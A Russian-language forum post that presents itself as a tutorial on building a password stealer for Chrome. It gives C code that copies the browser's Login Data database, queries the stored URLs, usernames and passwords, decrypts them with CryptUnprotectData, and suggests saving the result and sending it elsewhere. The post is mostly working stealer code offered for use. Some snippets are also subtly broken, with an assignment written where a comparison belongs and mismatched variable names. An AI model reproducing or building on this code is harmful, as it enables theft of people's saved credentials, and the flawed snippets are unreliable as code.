Стиллер паролей для Chrome

Wolf

Администратор
Команда форума
3 Апрель 2019
187
77
0
#1
Стиллер для Chrome
Для начала давайте получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:



C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data

Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.

Давайте напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

Код:
#define CHROME_DB_PATH  "\\Google\\Chrome\\User Data\\Default\\Login Data"



bool get_browser_path(char * db_loc, int browser_family, const char * location) {

    memset(db_loc, 0, MAX_PATH);

    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {

        return 0;

    }



    if (browser_family = 0) {

        lstrcat(db_loc, TEXT(location));

        return 1;

    }

}

Вызов функции:

char browser_db[MAX_PATH];

get_browser_path(browser_db, 0, CHROME_DB_PATH);
Давайте вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family, оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

Если условие browser_family = 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family = 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. После этого мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA, которое означает:

Код:
#define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)
Функция SHGetFolderPath уже устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath. Проблема кроется в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

Код:
HRESULT SHGetFolderPath(    

    HWND hwndOwner,

    int nFolder,

    HANDLE hToken,

    DWORD dwFlags,

    LPTSTR pszPath

);
После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.

База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давайте скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.

Код:
int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);

if (!status) {

    // return 0;

}
Теперь подключаемся к базе командой sqlite3_open_v2. Ее прототип:

Код:
int sqlite3_open_v2(

    const char *filename,   /* Database filename (UTF-8) */

    sqlite3 **ppDb,         /* OUT: SQLite db handle */

    int flags,              /* Flags */

    const char *zVfs        /* Name of VFS module to use */

);
Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки.

Код:
sqlite3 *sql_browser_db = NULL;



status = sqlite3_open_v2(TEMP_DB_PATH,

                &sql_browser_db,

                SQLITE_OPEN_READONLY,

                NULL);

if(status != SQLITE_OK) {

    sqlite3_close(sql_browser_db);

    DeleteFile(TEXT(TEMP_DB_PATH));

}
Обратите внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.



Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec().

Код:
status = sqlite3_exec(sql_browser_db,

            "SELECT origin_url, username_value, password_value FROM logins",

            crack_chrome_db,

            sql_browser_db,

            &err);

if (status != SQLITE_OK)

    return 0;
Эта функция имеет такой прототип:

Код:
int sqlite3_exec(

    sqlite3*,                                  /* An open database */

    const char *sql,                           /* SQL to be evaluated */

    int (*callback)(void*,int,char**,char**),  /* Callback function */

    void *,                                    /* 1st argument to callback */

    char **errmsg                              /* Error msg written here */

);
Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.

Давайте остановимся подробнее на callback-функции, которая расшифровывает пароли. Она будет использоваться к каждой строке из выборки нашего запроса SELECT. Ее прототип — int (*callback)(void*,int,char**,char**), но все аргументы нам не понадобятся, хотя объявлены они должны быть. Саму функцию назовем crack_chrome_db, начинаем писать и объявлять нужные переменные:

Код:
int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {



DATA_BLOB data_decrypt, data_encrypt;

sqlite3 *in_db = (sqlite3*)db_in;

BYTE *blob_data = NULL;

sqlite3_blob *sql_blob = NULL;



char *passwds = NULL;



while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );
В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее выделяем память, читаем блоб и инициализируем поля DATA_BLOB:

Код:
int sz_blob;

int result;



sz_blob = sqlite3_blob_bytes(sql_blob);

dt_blob = (BYTE *)malloc(sz_blob);



if (!dt_blob) {

    sqlite3_blob_close(sql_blob);

    sqlite3_close(in_db);

}



data_encrypt.pbData = dt_blob;

data_encrypt.cbData = sz_blob;
А теперь приступим непосредственно к дешифровке паролей. База данных Chrome зашифрована механизмом Data Protection Application Programming Interface (DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно только под той учетной записью, под которой они были зашифрованы. Другими словами, нельзя вытащить базу данных паролей, а потом расшифровать ее уже на своем компьютере. Для расшифровки данных нам потребуется функция CryptUnprotectData.


Код:
DPAPI_IMP BOOL CryptUnprotectData(

    DATA_BLOB                 *pDataIn,

    LPWSTR                    *ppszDataDescr,

    DATA_BLOB                 *pOptionalEntropy,

    PVOID                     pvReserved,

    CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,

    DWORD                     dwFlags,

    DATA_BLOB                 *pDataOut

);



if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {

    free(dt_blob);

    sqlite3_blob_close(sql_blob);

    sqlite3_close(in_db);

}
После этого выделяем память и заполняем массив passwds расшифрованными данными.


Код:
passwds = ( char *)malloc(data_decrypt.cbData + 1);

memset(passwds, 0, data_decrypt.cbData);



int xi = 0;

while (xi < data_decrypt.cbData) {

    passwds[xi] = (char)data_decrypt.pbData[xi];

    ++xi;

}
Собственно, на этом все! После этого passwds будет содержать учетные записи пользователей и URL. Можно эту информацию вывести на экран или сохранить в файл и отправить куда-нибудь.
 
Забыли свой пароль?